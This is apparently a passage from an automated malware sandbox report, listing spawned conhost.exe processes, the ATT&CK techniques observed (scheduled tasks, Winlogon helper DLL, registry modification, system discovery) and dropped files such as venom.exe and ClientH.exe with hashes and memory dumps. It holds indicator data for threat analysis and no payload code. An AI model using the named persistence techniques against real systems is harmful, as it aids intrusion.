PID:3700

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-15971459567148166996888662396031489881192451473-448459749-1521993538-484942404"
1⤵
PID:5240

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "643914744847491430821114642-1677699244-165025609-1466163531-1858248689-1817429055"
1⤵
PID:3200

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1037122035-122891863120628227351590922894144848810116099182912368601311529159208"
1⤵
PID:7416

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1884567632354903719-4694962131845851771300211705-902069326-304638861480399468"
1⤵
PID:5756

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-18488642951618346172-6303810494906260622047273030-1492933751-1707777700-483717781"
1⤵
PID:4960

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-6257025331342143621966929851274230886-987588087-4872902851403100080-376569033"
1⤵
PID:5172

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "198734721815044016731259442529103292661514373374111180207342-1539310737-875457756"
1⤵
PID:3012

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1801484604-162719883014249326186603393729162507001792552281-3755117349431830"
1⤵
PID:5704

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1624088679-131367839717255206659492640721188428600-765078286-1916626634-1791073771"
1⤵
PID:6292

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-529059529326307543-863940159-1172686626-1593394483937422781510552191882635080"
1⤵
PID:928

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-907231051548745726-118614797616647483061833690486-142760464520288773001958063519"
1⤵
PID:656

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2070837259-61875485395868857239507699175653280-89503594315974132101458822397"
1⤵
PID:6744

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-64917983716655903741669464566-149931320-827868618-2019401048-1719864560-604834659"
1⤵
PID:3264

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1636731489-2135880695-1660665629-158703655787649996-193801894015549180951483693868"
1⤵
PID:5540

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-841955958-1159323307700605924-1897795688-1468731837799789603-1435062382-1464637558"
1⤵
PID:8220

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1404910370-258622014559728439-884180693-626229881956102008-972432009-1573769561"
1⤵
PID:7672

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "128484631311879762331494464936-8673512111103192134-168912326216530392251762242369"
1⤵
PID:7504

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "12181982071696878290-1229225737-805821504-708697225-20145479761135013096-1520629909"
1⤵
PID:5164

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-518414935116766727412985363612070260601-442827797-884703896210452147-1353098246"
1⤵
PID:4716

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1383226849-642419948-1281564763537592723-1709032657881468810-3322680141816996306"
1⤵
PID:8916

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "9460904581209371137-17793026931504071936-1944771735-2032138436-81269813-365153771"
1⤵
PID:4160

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "2088666541483825082137328162-916993642878940849-181794872333234691125487449"
1⤵
PID:4888

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1986730999-559801797777094061-1998162495-2140735749-99548808914683334401411446762"
1⤵
PID:2780

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1923425341125026805910570310671095997805-15068498427685030206333282242123826938"
1⤵
PID:2416

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-10403484392007170016299051882-228584897-1608054125895873164-1176774541341903259"
1⤵
PID:9584

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-15758771141521972146-1851139452-927270965459675096-269459471414330856814979397"
1⤵
PID:6488

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1362910423-1796970195-308142299-3518219501354655131-639332639-1156495914-774193551"
1⤵
PID:5572

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1911621500-294258064-536801970-802639836450809904817818403810146703-753116167"
1⤵
PID:3596

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2121436876-17958293909112431715536064722110524829-622715942788762463-909495171"
1⤵
PID:9688

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1826011736-542098996-699498392-1375215895141538689818652582361840899354668804524"
1⤵
PID:7816

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1266060289-960390-1509923207-1166486093-148191302911056189175395303582131670348"
1⤵
PID:7884

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1101124062-1457994071-1655632343901201275-19144575921435805576-349677292309381021"
1⤵
PID:5672

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-319953911-1193699537-1976792364-11449011071442511407-622134407-1018827464-1681676367"
1⤵
PID:3808

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "111096844714960790-559797592-2139677097-1243824551055531901014071144510392223"
1⤵
PID:2312

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2064038077793575363298926964-2269590321654642134-2610467692112883139-1801101387"
1⤵
PID:9224

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "510645220-1373070683-513853354-1073959918-385571758-3270829671271433248851973508"
1⤵
PID:8596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\ClientH.exe

Filesize
90KB

MD5
63999d7403b272a3fa02167440049a33

SHA1
35c5b45786fcf72749c2b76ce32d770604b38f9b

SHA256
1797c87878d7ea2a8f56f7a27bd0f917c511186a30a9f4bfed054ba65ebb56b7

SHA512
d945e73b710adc6a4e8aea56d3cc3f61ce7da4f4d2d6edb00579f3f49a7b3cbd43b94a4c47848345ba23088b2e7d996514619b868217faa4ac46b89a264fb301

Download Submit
C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs

Filesize
896B

MD5
8fb276ac35a3a884b76803313460e489

SHA1
93618fd292722ed49e668cdf00f75cb5a58ae402

SHA256
fefd5dae1f3c47da60f619f7423e8528e8acc80aa31e963a14e9f3e9be8df334

SHA512
51d963b008f4cbb1fc0844c8147f51c2375754f3db58d588a279f164ceb2c902f66d067e3143e0ddc2f981bcc46195c60177822074c7ff0f79945ee45ec7e5c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp9E04.tmp.bat

Filesize
150B

MD5
f45a1f72a80d483573323e06760386af

SHA1
4fba24372fc08296343dfdd5a61e8d0e2f0dc38e

SHA256
5955a542e9c3938aaa0cec27c629214225654f21f89ca5eb8a5f98987dfce90b

SHA512
b5051d15c550a2890ec7112e91461b9e76dd4ac1944eee0c748927699aab30b6426384b698be59d4bd873ba291859377456df3b993f7b9d8343d23ac56eaa989

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
4e120dc35880d8cf73f54ccd13ec242e

SHA1
efcfeebbd119749b97b261c0d9cae1265d4113c6

SHA256
5b6bb2f7700e537e031607324b06bdfccf3297cedc9e7adca39585b2f6c4d40f

SHA512
b0a0914ccfafe53879655587e794afc390d3e2fa956e0eb90493889bfff1fe8a9e9e5c6c818e5611eb686ccfbf1579d8d46c6d859bcdc46d617dc43fa6cbc019

Download Submit
\Users\Admin\AppData\Local\Temp\ReBomb2.exe

Filesize
8.8MB

MD5
11f3d124b89d4c6a737f993442e15259

SHA1
290b45651633021d3afd4bdedf8f03c2c705cf11

SHA256
80d1631227d5b253b69f1004286c4562e765d54be593ac0b6ad0d34b35275f94

SHA512
43822db6a9dd226579c136e7049012714fb54ca4915fdf4b4ba92e2a72380b1b56de7a9a6cef79e9b62139e36244812955ca4bb2ff8991f03ef96f929d95b4f8

Download Submit
\Users\Admin\AppData\Local\Temp\venom.exe

Filesize
63KB

MD5
397f5b1c5cbba64b357dcdbc041c0c76

SHA1
ab368a38ad1e26a00e5828fecc6d092669da8ff6

SHA256
2bacc73b133acd79185f75edd32b60f24bb23d9ad08125ccc36cbd2d389ce2e4

SHA512
bc7fe11c434d4c13e7800d620904c43a19a00a571f74b19a794001041c796d34196800dae3e3f4db67e832d20e865a476ad002c40ebf9f25a6295642ce09b490

Download Submit
memory/860-3930-0x0000000001090000-0x00000000010AC000-memory.dmp

Filesize
112KB

Download
memory/2424-3749-0x0000000000C90000-0x0000000000CAC000-memory.dmp

Filesize
112KB

Download
memory/2520-3097-0x0000000001180000-0x000000000119C000-memory.dmp

Filesize
112KB

Download
memory/2568-26-0x0000000000890000-0x00000000008AC000-memory.dmp

Filesize
112KB

Download
memory/2596-3251-0x0000000000E10000-0x0000000000E2C000-memory.dmp

Filesize
112KB

Download
memory/2756-2544-0x00000000008D0000-0x00000000008EC000-memory.dmp

Filesize
112KB

Download
memory/2964-3357-0x0000000000930000-0x000000000094C000-memory.dmp

Filesize
112KB

Download
memory/2984-46-0x0000000000900000-0x0000000000916000-memory.dmp

Filesize
88KB

Download
memory/3256-163-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/3256-206-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/3256-205-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/3256-157-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/3256-159-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/3256-161-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/3256-165-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

Filesize
4KB

Download
memory/3256-166-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/3264-175-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

Filesize
4KB

Download
memory/3264-3539-0x0000000000830000-0x000000000084C000-memory.dmp

Filesize
112KB

Download
memory/3268-3201-0x0000000001370000-0x000000000138C000-memory.dmp

Filesize
112KB

Download
memory/3736-3791-0x0000000000D50000-0x0000000000D6C000-memory.dmp

Filesize
112KB

Download
memory/4056-1788-0x0000000000C50000-0x0000000000C6C000-memory.dmp

Filesize
112KB

Download
memory/4092-3724-0x0000000000E20000-0x0000000000E3C000-memory.dmp

Filesize
112KB

Download
memory/4108-2897-0x0000000000D90000-0x0000000000DAC000-memory.dmp

Filesize
112KB

Download
memory/4400-2765-0x0000000000390000-0x00000000003AC000-memory.dmp

Filesize
112KB

Download
memory/4492-3493-0x0000000000EA0000-0x0000000000EBC000-memory.dmp

Filesize
112KB

Download
memory/4496-3028-0x00000000013D0000-0x00000000013EC000-memory.dmp

Filesize
112KB

Download
memory/4496-3516-0x0000000000940000-0x000000000095C000-memory.dmp

Filesize
112KB

Download
memory/4528-3330-0x0000000000DA0000-0x0000000000DBC000-memory.dmp

Filesize
112KB

Download
memory/4556-1969-0x0000000001060000-0x0000000001076000-memory.dmp

Filesize
88KB

Download
memory/4996-2851-0x0000000000F80000-0x0000000000F9C000-memory.dmp

Filesize
112KB

Download
memory/5328-2423-0x0000000000030000-0x000000000004C000-memory.dmp

Filesize
112KB

Download
memory/6680-3872-0x0000000001060000-0x000000000107C000-memory.dmp

Filesize
112KB

Download
memory/6932-2467-0x00000000000E0000-0x00000000000FC000-memory.dmp

Filesize
112KB

Download
memory/7140-2490-0x00000000003A0000-0x00000000003BC000-memory.dmp

Filesize
112KB

Download
memory/7324-2794-0x0000000000D30000-0x0000000000D4C000-memory.dmp

Filesize
112KB

Download
memory/7380-3392-0x0000000001130000-0x000000000114C000-memory.dmp

Filesize
112KB

Download
memory/7392-2872-0x0000000000290000-0x00000000002AC000-memory.dmp

Filesize
112KB

Download
memory/7980-3913-0x0000000000A40000-0x0000000000A5C000-memory.dmp

Filesize
112KB

Download
memory/8752-3568-0x00000000012A0000-0x00000000012BC000-memory.dmp

Filesize
112KB

Download
memory/9288-3411-0x0000000000C20000-0x0000000000C3C000-memory.dmp

Filesize
112KB

Download
memory/9436-2675-0x0000000000AD0000-0x0000000000AEC000-memory.dmp

Filesize
112KB

Download
memory/9436-1972-0x00000000008E0000-0x00000000008FC000-memory.dmp

Filesize
112KB

Download
memory/9960-1761-0x00000000013B0000-0x00000000013CC000-memory.dmp

Filesize
112KB

Download
memory/10776-3047-0x0000000000CE0000-0x0000000000CFC000-memory.dmp

Filesize
112KB

Download
memory/11336-3670-0x0000000000910000-0x000000000092C000-memory.dmp

Filesize
112KB

Download
memory/11444-3438-0x0000000001010000-0x000000000102C000-memory.dmp

Filesize
112KB

Download
memory/11924-2625-0x0000000000E90000-0x0000000000EAC000-memory.dmp

Filesize
112KB

Download
memory/12028-2930-0x0000000000920000-0x000000000093C000-memory.dmp

Filesize
112KB

Download
memory/12368-3470-0x0000000000D10000-0x0000000000D2C000-memory.dmp

Filesize
112KB

Download
memory/12480-4039-0x00000000011E0000-0x00000000011FC000-memory.dmp

Filesize
112KB

Download
memory/12612-3953-0x0000000001040000-0x000000000105C000-memory.dmp

Filesize
112KB

Download
memory/13260-2033-0x0000000000980000-0x000000000099C000-memory.dmp

Filesize
112KB

Download
memory/13432-2592-0x0000000000EE0000-0x0000000000EFC000-memory.dmp

Filesize
112KB

Download
memory/13488-1939-0x0000000001210000-0x000000000122C000-memory.dmp

Filesize
112KB

Download
memory/14024-3280-0x00000000010E0000-0x00000000010FC000-memory.dmp

Filesize
112KB

Download
memory/14152-3984-0x0000000001310000-0x000000000132C000-memory.dmp

Filesize
112KB

Download
memory/14360-2953-0x0000000000200000-0x000000000021C000-memory.dmp

Filesize
112KB

Download
memory/14528-3153-0x00000000008C0000-0x00000000008DC000-memory.dmp

Filesize
112KB

Download
memory/14576-3124-0x00000000002E0000-0x00000000002FC000-memory.dmp

Filesize
112KB

Download
memory/14612-2648-0x0000000000970000-0x000000000098C000-memory.dmp

Filesize
112KB

Download
memory/14716-3697-0x0000000000F30000-0x0000000000F4C000-memory.dmp

Filesize
112KB

Download
memory/14788-2744-0x00000000011C0000-0x00000000011DC000-memory.dmp

Filesize
112KB

Download
memory/14988-3849-0x0000000000270000-0x000000000028C000-memory.dmp

Filesize
112KB

Download
memory/15144-3305-0x0000000000C80000-0x0000000000C9C000-memory.dmp

Filesize
112KB

Download
memory/15312-2823-0x0000000000810000-0x000000000082C000-memory.dmp

Filesize
112KB

Download
memory/15348-3001-0x0000000000090000-0x00000000000AC000-memory.dmp

Filesize
112KB

Download
memory/15520-2700-0x00000000011B0000-0x00000000011CC000-memory.dmp

Filesize
112KB

Download
memory/15612-3228-0x0000000000E70000-0x0000000000E8C000-memory.dmp

Filesize
112KB

Download
memory/15680-3072-0x0000000000BF0000-0x0000000000C0C000-memory.dmp

Filesize
112KB

Download
memory/16056-3599-0x0000000000860000-0x000000000087C000-memory.dmp

Filesize
112KB

Download
memory/16148-2513-0x0000000000B00000-0x0000000000B1C000-memory.dmp

Filesize
112KB

Download
memory/16356-2569-0x0000000000180000-0x000000000019C000-memory.dmp

Filesize
112KB

Download